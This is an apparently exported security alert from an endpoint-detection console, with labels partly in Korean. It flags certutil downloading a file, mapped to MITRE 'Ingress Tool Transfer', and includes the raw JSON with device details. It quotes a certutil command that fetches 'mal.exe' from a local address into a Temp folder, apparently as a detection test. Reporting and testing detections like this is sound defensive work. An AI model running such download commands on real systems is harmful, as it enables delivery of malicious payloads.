Alert Information
High
- Alert ID
ind:561559e2fcea400ba3601b74d64aa30b:150222462188-10294-20848400- Composite ID
84393bf974fd44bda943a25a6a7bc27f:ind:561559e2fcea400ba3601b74d64aa30b:150222462188-10294-20848400- 설명
- Certutil was observed downloading file(s) from a remote location. This process is rarely used benignly in this context. Please review the command line and process tree.
- 호스트
- DESKTOP-FNUMV3U
- 상태
- new
- 생성 시간
- 2025-12-22 07:24:37
- 업데이트 시간
- 2025-12-22 08:23:37
MITRE ATT&CK
- Tactic
- Command and Control
- Technique
- Ingress Tool Transfer
Command Line
certutil -urlcache -split -f http://127.0.0.1/mal.exe C:\Users\User\AppData\Local\Temp\cert_test.exe
Raw JSON Data
{"id":"ind:561559e2fcea400ba3601b74d64aa30b:150222462188-10294-20848400","composite_id":"84393bf974fd44bda943a25a6a7bc27f:ind:561559e2fcea400ba3601b74d64aa30b:150222462188-10294-20848400","agent_id":"561559e2fcea400ba3601b74d64aa30b","cid":"84393bf974fd44bda943a25a6a7bc27f","description":"Certutil was observed downloading file(s) from a remote location. This process is rarely used benignly in this context. Please review the command line and process tree.","severity":70,"severity_name":"High","confidence":80,"tactic":"Command and Control","tactic_id":"TA0011","technique":"Ingress Tool Transfer","technique_id":"T1105","cmdline":"certutil -urlcache -split -f http://127.0.0.1/mal.exe C:\\Users\\User\\AppData\\Local\\Temp\\cert_test.exe","filename":"certutil.exe","filepath":"\\Device\\HarddiskVolume1\\Windows\\System32\\certutil.exe","sha256":"fd1670b43e2d9188b12b233780bf043c5a90a67a2c6e3fcdc564a5c246531bc2","status":"new","type":"ldt","created_timestamp":"2025-12-21T22:24:37.82103614Z","updated_timestamp":"2025-12-21T23:23:37.815477481Z","device":{"device_id":"561559e2fcea400ba3601b74d64aa30b","cid":"84393bf974fd44bda943a25a6a7bc27f","agent_version":"7.31.20309.0","hostname":"DESKTOP-FNUMV3U","local_ip":"172.26.224.1","external_ip":"14.47.49.244","mac_address":"00-15-5d-52-e9-ba","platform_name":"Windows","os_version":"Windows 10"},"aggregate_id":"aggind:561559e2fcea400ba3601b74d64aa30b:4494595853","CreatedAt":"2025-12-22T07:24:37.8210361+09:00","UpdatedAt":"2025-12-22T08:23:37.8154775+09:00"}
Quick Info
- Severity High
- Score 70
-
Agent ID
561559e2fcea400ba3601b74d64aa30b
Actions